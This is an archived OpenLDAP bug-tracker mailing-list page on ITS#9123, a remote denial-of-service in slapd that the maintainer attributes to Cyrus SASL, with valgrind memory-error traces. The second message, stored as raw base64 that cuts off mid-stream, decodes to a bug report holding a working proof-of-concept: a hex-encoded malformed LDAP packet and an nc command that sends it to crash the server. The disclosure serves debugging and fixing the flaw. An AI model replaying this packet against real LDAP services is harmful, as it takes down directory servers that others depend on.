openldap-bugs November 2019

openldap-bugs@openldap.org

11 participants
35 discussions

Re: (ITS#9123) Unauthenticated remote denial-of-service
by hyc＠symas.com 28 Nov '19

28 Nov '19

Resending with the non-printable chars omitted: Howard Chu wrote: > Thanks, but your trace clearly shows that this is a fault in Cyrus SASL, you should be reporting > this issue to them. > > valgrind confirms it as well: > > 5ddfddde do_bind: dn () SASL mech <garbage> > 5ddfddde ==> sasl_bind: dn="" mech=<garbage> > datalen=0 > ==11019== Thread 3: > ==11019== Invalid write of size 1 > ==11019== at 0x4B9B1DB: sasl_seterror (seterror.c:247) > ==11019== by 0x4B9A18D: sasl_server_start (server.c:1418) > ==11019== by 0x26B88B: slap_sasl_bind (sasl.c:1666) > ==11019== by 0x21E130: fe_op_bind (bind.c:279) > ==11019== by 0x21DCE1: do_bind (bind.c:205) > ==11019== by 0x1F35BA: connection_operation (connection.c:1185) > ==11019== by 0x1F3CE7: connection_read_thread (connection.c:1342) > ==11019== by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c:1048) > ==11019== by 0x4DBE668: start_thread (pthread_create.c:479) > ==11019== by 0x4EFA322: clone (clone.S:95) > ==11019== Address 0x62032a8 is 0 bytes after a block of size 600 alloc'd > ==11019== at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so) > ==11019== by 0x4B930A4: _buf_alloc (common.c:2186) > ==11019== by 0x4B93299: _sasl_add_string (common.c:196) > ==11019== by 0x4B9B2D4: sasl_seterror (seterror.c:187) > ==11019== by 0x4B9A18D: sasl_server_start (server.c:1418) > ==11019== by 0x26B88B: slap_sasl_bind (sasl.c:1666) > ==11019== by 0x21E130: fe_op_bind (bind.c:279) > ==11019== by 0x21DCE1: do_bind (bind.c:205) > ==11019== by 0x1F35BA: connection_operation (connection.c:1185) > ==11019== by 0x1F3CE7: connection_read_thread (connection.c:1342) > ==11019== by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c:1048) > ==11019== by 0x4DBE668: start_thread (pthread_create.c:479) > ==11019== > ==11019== Invalid read of size 1 > ==11019== at 0x483DF54: strlen (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so) > ==11019== by 0x4E53DE4: __vfprintf_internal (vfprintf-internal.c:1688) > ==11019== by 0x4E67029: __vsnprintf_internal (vsnprintf.c:114) > ==11019== by 0x3A1FFA: lutil_debug (debug.c:74) > ==11019== by 0x266FF3: slap_sasl_log (sasl.c:146) > ==11019== by 0x4B9B4CF: sasl_seterror (seterror.c:260) > ==11019== by 0x4B9A18D: sasl_server_start (server.c:1418) > ==11019== by 0x26B88B: slap_sasl_bind (sasl.c:1666) > ==11019== by 0x21E130: fe_op_bind (bind.c:279) > ==11019== by 0x21DCE1: do_bind (bind.c:205) > ==11019== by 0x1F35BA: connection_operation (connection.c:1185) > ==11019== by 0x1F3CE7: connection_read_thread (connection.c:1342) > ==11019== Address 0x62032a8 is 0 bytes after a block of size 600 alloc'd > ==11019== at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so) > ==11019== by 0x4B930A4: _buf_alloc (common.c:2186) > ==11019== by 0x4B93299: _sasl_add_string (common.c:196) > ==11019== by 0x4B9B2D4: sasl_seterror (seterror.c:187) > ==11019== by 0x4B9A18D: sasl_server_start (server.c:1418) > ==11019== by 0x26B88B: slap_sasl_bind (sasl.c:1666) > ==11019== by 0x21E130: fe_op_bind (bind.c:279) > ==11019== by 0x21DCE1: do_bind (bind.c:205) > ==11019== by 0x1F35BA: connection_operation (connection.c:1185) > ==11019== by 0x1F3CE7: connection_read_thread (connection.c:1342) > ==11019== by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c:1048) > ==11019== by 0x4DBE668: start_thread (pthread_create.c:479) > > > > -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

Re: (ITS#9123) Unauthenticated remote denial-of-service
by hyc＠symas.com 28 Nov '19

28 Nov '19

c3RlcGhhbkBzcmxhYnMuZGUgd3JvdGU6DQo+IEZ1bGxfTmFtZTogU3RlcGhhbiBaZWlzYmVy Zw0KPiBWZXJzaW9uOiAyLjQuNDgNCj4gT1M6IEZlZG9yYSAzMSAoa2VybmVsIDUuMy4xMS0z MDAuZmMzMS54ODZfNjQpDQo+IFVSTDogDQo+IFN1Ym1pc3Npb24gZnJvbTogKE5VTEwpICg3 OC41NC42NS4xMzkpDQo+IA0KPiANCj4gRGVhciBvcGVubGRhcCB0ZWFtIOKAlA0KPiANCj4g IyBJc3N1ZSBkZXNjcmlwdGlvbg0KPiANCj4gVW5hdXRoZW50aWNhdGVkIHJlbW90ZSBkZW5p YWwtb2Ytc2VydmljZSB0aHJvdWdoIG1hbGZvcm1lZCBsZGFwIHBhY2tldA0KPiANCj4gIyBW ZXJzaW9uDQo+IA0KPiBvcGVubGRhcC0yLjQuNDgudGd6DQo+IA0KPiAjIEhvdyB0byByZXBy b2R1Y2UNCj4gDQo+ICMjIENvbXBpbGUNCj4gDQo+ICQgdGFyIHh6dmYgb3BlbmxkYXAtMi40 LjQ4LnRneg0KPiAkIGNkIG9wZW5sZGFwLTIuNC40OA0KPiAkIC4vY29uZmlndXJlIC0tcHJl Zml4PS90bXAvb3BlbmxkYXANCj4gJCBtYWtlIGRlcGVuZA0KPiAkIG1ha2UNCj4gJCBtYWtl IGluc3RhbGwNCj4gJCBjZCAvdG1wL29wZW5sZGFwDQo+IA0KPiAjIyBTdGFydCBzZXJ2ZXIN Cj4gDQo+ICQgLi9saWJleGVjL3NsYXBkIC1kIDEgLWggbGRhcDovLzEyNy4wLjAuMTo5MDkx DQo+IA0KPiAjIyBDcmVhdGUgUG9DIGNyYXNoIGZpbGUNCj4gDQo+ICQgZWNobyAtbiAiMzA4 NDAwMDAwNTRiMDIwMjAwZDc2MDg0MDAwMDA1NDEwMjAxMDMwNDAwYTM4NDAwMDAwNTAwYTM4 MjAzZTI2MTgyMDNkZTMwODIwM2RhYTAwMzAyMDEwNWExMTUxYjEzNTczMjRiMzMyZTU2NGQ0 ZTQ1NTQzMTJlNTY0ZDJlNDI0MTUzNDVhMjQ0MzA0MmEwMDMwMjAxMDJhMTNiMzAzOTFiMDQ2 YzY0NjE3MDFiMWM3NzM5ZGQzMzJkMzEzMDMxMmU3NzMyNmIzMzJlNzY2ZDZlNjU3NDMxMmU3 NjZkMmU2MjYxNzM2NTFiMTM3NzMyNmIzMzJlNzY2ZDZlNjVhMDAzMDIwMTE3YTEwMzAyMDEw OGEyODIwMzYyMDQ4MjAzNWVhMjM1YWFlYjRiOGRhZDJjYzFhNjdmNTRkYjAzMDM1MmNjMzQ4 NjRjOGNmM2I2NDNhMmQ3ZDMxMTFlMGFlYmUwZWVmOTcxMzBiNDUwNmNiZjI4YjAxYzZjMmJi NDlhZWRlZDA5Yjg2NDRlYzE0NmQyOTQwOWQ3MTgzODE4N2IxMzVhYTc3OWNhM2UzNWM3YjNk MDJjYzYwYzUzZDY1MTk5ZTA0YjEyY2RjOTgwZDA1Y2QxYjBhYmQ4Mzc5MWVjZWUyN2Q3OTU2 N2JmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmZDBmYmQzYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiDQo+ICBmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmYwMDAwMDAwMDAwMDAwMGZl YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmM2I1ZTVkMTc0M2Q2ODE3Nzc5 ZDlkM2VlZjk5MGVkZTE3OGY3MzczYTA0ZjM4MjE4MDlmODAwYWMyMDBjYTNiYzY3YjMyZTli MmEyYTM3NDVjZjY3YzkxOTQxYTFlYzJmZGY1MGFhN2EzYzJkYmM4MjE4MzFlOGZjYzRkMTUx ODQ5NzhhNjgwMTgwMWE3NmY1ODhiZmMxOTZlOTI0MzM4MjAxZmUzYjVlNWQxNzQzZDY4MTc3 NzlkOWQzZWVmOTkwZWQxNTFiMTM1NzMyNGIzMzJlNTY0ZDRlNDU1NDMxMmU1NjRkMmU0MjQx NTM0NWEyNDQzMDQyYTAwMzAyMDEwMmExM2IzMDM5MWIwNDZjNjQ2MTcwMWIxYzc3MzlkZDMz MmQzMTMwMzEyZTc3MzI2YjMzMmU3NjJkMzczNDMyMzczMjM4MzkzNzM3DQo+ICAzNjMzMzQz MjMwMzczOTM2MzczOTc2NmQ2ZTY1NzQzMTJlNzY2ZDJlNjI2MTczNjVhMzgyMDM3NDMwODIw MzcwYTAwMzAyMDExN2ExMDMwMjAxMDhhMjgyMDM2MjA0ODIwMzVlYTIzNWFhZWI0YjhkYWQy Y2MxYTY3ZjU0ZGIwMzAzNTJjYzM0ODY0YzhjMmQzNjMxMzAzMTM3MzAzMzM0MzEzNjMyMzcz MjM1MzEzODM5MzczM2IwMWM2YzJiYjQ5YWVkZWQwOWI4NjQ0ZWMxNDZkMjk0MDlkNzE4Mzgx ODdiMTM1YWE3NzljYTNlMzVjN2IzZDAyY2M2MGM1M2Q2NTE5OWUwNGIxMmNkYzk4MGQwNWNk MWIwYWJkODM3OTFlY2VlMjdkNzk1Njc5NTk0MDY0NDQyYmNiMWVjYjg2MzlhN2VmMTgyNTY2 NTY4MzU1N2JhZDQ4MzllMWE3YjNjYzViNzZmYzBhYzA5M2RjYzYyZGQzNDExNmU3ZjIwMmUz ODExOGM5NGM2ZWU0NjhhZTEzN2FhNmZjZTMwNzBjMDgxZGQzOTQxODg5ODg3YWFjMTdiN2I5 ZmFlNmIxYjQzMmY5N2E5MDVmZTA3NjVkZjU1OGQ3MzhiMmRlYmM0N2IxOWI1OWIxYzliNDU1 Y2MyOWI4OGViNjQ2MjBiODkyODcxNGU3NmIzMTBkMzZkZjdjMWJmYmRhM2ZiNGZiZGMxZmQ0 ZjM0YzkwMTgwMWE3NmY1ODhiZmMxOTZlOTI0MzM4MjAxZmUzYjVlNWQxNzQzZDY4MTc3Nzlk OWQzZWVmOTkwZWRlMTc4ZjczNzNhMDRmMzgyMTgwOWY4MDBhYzIwMGNhM2JjNjdiMzJlOWIy YTJhMzc0NWNmNjdjOTE5NDFhMWVjMmZkZjUwYWE3YTNjMmRiYzgyMTkzMWU4ZmNjNGQxNTE4 NDk3OGE2ODAxODAxYTc2ZjU4OGJmYzE5NmU5MjQzMzgyMDFmZTNiNWU1ZDE3NDNkNjgxNzc3 OWQ5ZDNlZWY5OTBlZGUxIg0KPiB8IHh4ZCAtciAtcCA+IGxkYXAuY3Jhc2gNCj4gDQo+ICMj IEV4ZWN1dGUgUG9DIChtYXkgbmVlZCB0byBiZSBleGVjdXRlZCBtdWx0aXBsZSB0aW1lcykN Cj4gDQo+ICQgIG5jIDEyNy4wLjAuMSA5MDkxIDwgbGRhcC5jcmFzaA0KPiANCj4gDQo+IA0K PiAjIEdEQg0KPiANCj4gLi4uDQo+IHNsYXBkOiBtYWxsb2MuYzoyMzc5OiBzeXNtYWxsb2M6 IEFzc2VydGlvbiBgKG9sZF90b3AgPT0gaW5pdGlhbF90b3AgKGF2KSAmJg0KPiBvbGRfc2l6 ZSA9PSAwKSB8fCAoKHVuc2lnbmVkIGxvbmcpIChvbGRfc2l6ZSkgPj0gTUlOU0laRSAmJiBw cmV2X2ludXNlIChvbGRfdG9wKQ0KPiAmJiAoKHVuc2lnbmVkIGxvbmcpIG9sZF9lbmQgJiAo cGFnZXNpemUgLSAxKSkgPT0gMCknIGZhaWxlZC4NCj4gDQo+IFRocmVhZCAzICJzbGFwZCIg cmVjZWl2ZWQgc2lnbmFsIFNJR0FCUlQsIEFib3J0ZWQuDQo+IFtTd2l0Y2hpbmcgdG8gVGhy ZWFkIDB4N2ZmZmI0YWJhNzAwIChMV1AgMzY4NDUxMCldDQo+IDB4MDAwMDdmZmZmNWIzYTYy NSBpbiByYWlzZSAoKSBmcm9tIC9saWI2NC9saWJjLnNvLjYNCj4gTWlzc2luZyBzZXBhcmF0 ZSBkZWJ1Z2luZm9zLCB1c2U6IGRuZiBkZWJ1Z2luZm8taW5zdGFsbA0KPiBjeXJ1cy1zYXNs LWdzc2FwaS0yLjEuMjctMi5mYzMxLng4Nl82NCBjeXJ1cy1zYXNsLWxpYi0yLjEuMjctMi5m YzMxLng4Nl82NA0KPiBjeXJ1cy1zYXNsLXBsYWluLTIuMS4yNy0yLmZjMzEueDg2XzY0IGtl eXV0aWxzLWxpYnMtMS42LTMuZmMzMS54ODZfNjQNCj4ga3JiNS1saWJzLTEuMTctNDUuZmMz MS54ODZfNjQgbA0KPiBpYmNvbV9lcnItMS40NS4zLTEuZmMzMS54ODZfNjQgbGliZGItNS4z LjI4LTM4LmZjMzEueDg2XzY0DQo+IGxpYmdjYy05LjIuMS0xLmZjMzEueDg2XzY0IGxpYmlj dS02My4yLTMuZmMzMS54ODZfNjQNCj4gbGlic2VsaW51eC0yLjktNS5mYzMxLng4Nl82NCBs aWJzdGRjKystOS4yLjEtMS5mYzMxLng4Nl82NA0KPiBsaWJ1dWlkLTIuMzQtMy5mYzMxLng4 Nl82NCBuc3MtbWRucy0wLjE0LjEtNC5mYzMxLng4Nl82NCBvcGVuDQo+IHNzbC1saWJzLTEu MS4xZC0yLmZjMzEueDg2XzY0IHpsaWItMS4yLjExLTIwLmZjMzEueDg2XzY0DQo+IChnZGIp IGJ0DQo+ICMwICAweDAwMDA3ZmZmZjViM2E2MjUgaW4gcmFpc2UgKCkgZnJvbSAvbGliNjQv bGliYy5zby42DQo+ICMxICAweDAwMDA3ZmZmZjViMjM4ZDkgaW4gYWJvcnQgKCkgZnJvbSAv bGliNjQvbGliYy5zby42DQo+ICMyICAweDAwMDA3ZmZmZjViODVhN2EgaW4gX19tYWxsb2Nf YXNzZXJ0ICgpIGZyb20gL2xpYjY0L2xpYmMuc28uNg0KPiAjMyAgMHgwMDAwN2ZmZmY1Yjg4 MmJmIGluIHN5c21hbGxvYyAoKSBmcm9tIC9saWI2NC9saWJjLnNvLjYNCj4gIzQgIDB4MDAw MDdmZmZmNWI4OTA3MiBpbiBfaW50X21hbGxvYyAoKSBmcm9tIC9saWI2NC9saWJjLnNvLjYN Cj4gIzUgIDB4MDAwMDdmZmZmNWI4YWY1NSBpbiBjYWxsb2MgKCkgZnJvbSAvbGliNjQvbGli Yy5zby42DQo+ICM2ICAweDAwMDA3ZmZmZjViN2NlZDggaW4gb3Blbl9tZW1zdHJlYW0gKCkg ZnJvbSAvbGliNjQvbGliYy5zby42DQo+ICM3ICAweDAwMDA3ZmZmZjViZjk5ZDUgaW4gX192 c3lzbG9nX2ludGVybmFsICgpIGZyb20gL2xpYjY0L2xpYmMuc28uNg0KPiAjOCAgMHgwMDAw N2ZmZmY1YmY5ZjRhIGluIHN5c2xvZyAoKSBmcm9tIC9saWI2NC9saWJjLnNvLjYNCj4gIzkg IDB4MDAwMDAwMDAwMDRlZjNiNCBpbiBzbGFwX3Nhc2xfbG9nIChjb250ZXh0PTB4N2ZmZmY1 NGJmMTEwLA0KPiBwcmlvcml0eT08b3B0aW1pemVkIG91dD4sIA0KPiAgICAgbWVzc2FnZT0w eDdmZmZhODEwM2QzMCAiQ291bGRuJ3QgZmluZCBtZWNoDQo+IGFcMjAyXDAwM1wzMzZcMDYw XDIwMlwwMDMmIzE2OTY7XDAwM1wwMDJcMDAxXDAwNVwyNDFcMDI1XDAzM1wwMjNXMkszLlZN TkVUMS5WTS5CQVNFXDI0MkQwQlwyNDBcMDAzXDAwMlwwMDFcMDAyXDI0MTswOVwwMzNcMDA0 bGRhcFwwMzNcMDM0dzlcMzM1XDA2My0xMDEudzJrMy52bW5ldDEudm0uYmFzZVwwMzNcMDIz dzJrMy52bW5lXDI0MFwwMDNcMDAyXDAwMVwwMjdcMjQxXDAwM1wwMDJcMDAxXGJcMjQyXDIw MlwwMDNiXDAwNFwyMDJcMDAzXlwyNDJcMDY1XDI1MlwzNTNLXDIxNVwyNTUsXDMwMVwyNDZc MTc3VFwzMzNcMDAzXDAwM1JcMzE0XDA2NFwyMDZMXDIxNFwzNjNcMjY2Q1wyNDJcMzI3XDMy M1wwMjFcMDM2XG5cMzUzXDM0MFwzNTZcMzcxcTBcMjY0UGxcMjc3KFwyNjBcMDM0bCtcMjY0 XDIzMlwzNTVcMzU1XHRcMjcwZE5cMzAxRiYjMTE3MjtcdFwzMjdcMDMwXDA3MFwwMzB7XDAy M1pcMjQ3eSIuLi4pDQo+IGF0IHNhc2wuYzoxNDYNCj4gIzEwIDB4MDAwMDdmZmZmNjIwMzM0 NCBpbiBzYXNsX3NldGVycm9yICgpIGZyb20gL2xpYjY0L2xpYnNhc2wyLnNvLjMNCj4gIzEx IDB4MDAwMDdmZmZmNjIwMjMyNCBpbiBzYXNsX3NlcnZlcl9zdGFydCAoKSBmcm9tIC9saWI2 NC9saWJzYXNsMi5zby4zDQo+ICMxMiAweDAwMDAwMDAwMDA0ZjEwOTggaW4gc2xhcF9zYXNs X2JpbmQgKG9wPTxvcHRpbWl6ZWQgb3V0PiwgcnM9MHg3ZmZmYjRhYjg4YjApDQo+IGF0IHNh c2wuYzoxNTI0DQo+ICMxMyAweDAwMDAwMDAwMDA0OWZkMjggaW4gZmVfb3BfYmluZCAob3A9 MHg3ZmZmYTgwMDMxMjAsIHJzPTB4N2ZmZmI0YWI4OGIwKSBhdA0KPiBiaW5kLmM6MjgwDQo+ ICMxNCAweDAwMDAwMDAwMDA0OWYzNTAgaW4gZG9fYmluZCAob3A9MHg3ZmZmYTgwMDMxMjAs IHJzPTB4N2ZmZmI0YWI4OGIwKSBhdA0KPiBiaW5kLmM6MjA1DQo+ICMxNSAweDAwMDAwMDAw MDA0NzJjYTggaW4gY29ubmVjdGlvbl9vcGVyYXRpb24gKGN0eD0weDdmZmZiNGFiODllOCwN Cj4gYXJnX3Y9MHg3ZmZmYTgwMDMxMjApIGF0IGNvbm5lY3Rpb24uYzoxMTU4DQo+ICMxNiAw eDAwMDAwMDAwMDA0NzEzMzIgaW4gY29ubmVjdGlvbl9yZWFkX3RocmVhZCAoY3R4PTB4N2Zm ZmI0YWI4OWU4LA0KPiBhcmd2PTxvcHRpbWl6ZWQgb3V0PikgYXQgY29ubmVjdGlvbi5jOjEy OTQNCj4gIzE3IDB4MDAwMDAwMDAwMDVmZWU3YSBpbiBsZGFwX2ludF90aHJlYWRfcG9vbF93 cmFwcGVyICh4cG9vbD0weGEwYjlmMTApIGF0DQo+IHRwb29sLmM6Njk2DQo+ICMxOCAweDAw MDA3ZmZmZjVlNDQ0ZTIgaW4gc3RhcnRfdGhyZWFkICgpIGZyb20gL2xpYjY0L2xpYnB0aHJl YWQuc28uMA0KPiAjMTkgMHgwMDAwN2ZmZmY1YmZmNjkzIGluIGNsb25lICgpIGZyb20gL2xp YjY0L2xpYmMuc28uNg0KPiANCj4gUGxlYXNlIGxldCBtZSBrbm93IHdoYXQgYWRkaXRpb25h bCBpbmZvcm1hdGlvbiBJIGNhbiBwcm92aWRlIHRvIHN1Y2Nlc3NmdWxseQ0KPiByZXByb2R1 Y2UgdGhlIGlzc3VlLg0KPiANCj4gTm90ZTogSSBoYXZlIGFsc28gdGVzdGVkIGFuZCByZXBy b2R1Y2VkIHRoZSBpc3N1ZSB1c2luZyB0aGUgcHJlY29tcGlsZWQgcGFja2FnZQ0KPiBmcm9t IHRoZSBGZWRvcmEgcmVwb3NpdG9yaWVzOiBvcGVubGRhcC1zZXJ2ZXJzLTIuNC40Ny0zLmZj MzEueDg2XzY0IChPcGVuTERBUDoNCj4gc2xhcGQgMi40LjQ3IChKdWwgMjUgMjAxOSAwMDow MDowMCkpDQoNClRoYW5rcywgYnV0IHlvdXIgdHJhY2UgY2xlYXJseSBzaG93cyB0aGF0IHRo aXMgaXMgYSBmYXVsdCBpbiBDeXJ1cyBTQVNMLCB5b3Ugc2hvdWxkIGJlIHJlcG9ydGluZw0K dGhpcyBpc3N1ZSB0byB0aGVtLg0KDQp2YWxncmluZCBjb25maXJtcyBpdCBhcyB3ZWxsOg0K DQo1ZGRmZGRkZSBkb19iaW5kOiBkbiAoKSBTQVNMIG1lY2ggYe+/ve+/vTDvv73aoO+/vTJL My5WTU5FVDEuVk0uQkFTRe+/vUQwQu+/ve+/vTswOWRhcDnvv70zLTEwMS53MmszLnZtbmV0 MS52bS5iYXNlMmszLnZtbmXvv73vv73vv71i77+9Xu+/vTXvv73vv71L77+977+9LO+/ve+/ vVTvv71S77+9NO+/vUzvv73vv71D77+977+977+9DQrvv73vv73vv73vv71xMO+/vVBs77+9 KO+/vWwr77+977+977+977+9Ce+/vWRO77+9RtKUCe+/vTh7Wu+/vXnvv70+Ncez77+9LO+/ vQ0KDQpT77+9Ue+/ve+/vUvvv73JgO+/vVzRsO+/ve+/vTfvv73vv73vv70n15Vn77+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+907/vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv70NCjVkZGZkZGRlID09PiBzYXNsX2JpbmQ6IGRuPSIiIG1lY2g9Ye+/ve+/ vTDvv73aoO+/vTJLMy5WTU5FVDEuVk0uQkFTRe+/vUQwQu+/ve+/vTswOWRhcDnvv70zLTEw MS53MmszLnZtbmV0MS52bS5iYXNlMmszLnZtbmXvv73vv73vv71i77+9Xu+/vTXvv73vv71L 77+977+9LO+/ve+/vVTvv71S77+9NO+/vUzvv73vv71D77+977+977+9DQrvv73vv73vv73v v71xMO+/vVBs77+9KO+/vWwr77+977+977+977+9Ce+/vWRO77+9RtKUCe+/vTh7Wu+/vXnv v70+Ncez77+9LO+/vQ0KDQpT77+9Ue+/ve+/vUvvv73JgO+/vVzRsO+/ve+/vTfvv73vv73v v70n15Vn77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+907/v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv70NCmRhdGFsZW49MA0KPT0xMTAxOT09IFRocmVhZCAz Og0KPT0xMTAxOT09IEludmFsaWQgd3JpdGUgb2Ygc2l6ZSAxDQo9PTExMDE5PT0gICAgYXQg MHg0QjlCMURCOiBzYXNsX3NldGVycm9yIChzZXRlcnJvci5jOjI0NykNCj09MTEwMTk9PSAg ICBieSAweDRCOUExOEQ6IHNhc2xfc2VydmVyX3N0YXJ0IChzZXJ2ZXIuYzoxNDE4KQ0KPT0x MTAxOT09ICAgIGJ5IDB4MjZCODhCOiBzbGFwX3Nhc2xfYmluZCAoc2FzbC5jOjE2NjYpDQo9 PTExMDE5PT0gICAgYnkgMHgyMUUxMzA6IGZlX29wX2JpbmQgKGJpbmQuYzoyNzkpDQo9PTEx MDE5PT0gICAgYnkgMHgyMURDRTE6IGRvX2JpbmQgKGJpbmQuYzoyMDUpDQo9PTExMDE5PT0g ICAgYnkgMHgxRjM1QkE6IGNvbm5lY3Rpb25fb3BlcmF0aW9uIChjb25uZWN0aW9uLmM6MTE4 NSkNCj09MTEwMTk9PSAgICBieSAweDFGM0NFNzogY29ubmVjdGlvbl9yZWFkX3RocmVhZCAo Y29ubmVjdGlvbi5jOjEzNDIpDQo9PTExMDE5PT0gICAgYnkgMHgzNURGRjk6IGxkYXBfaW50 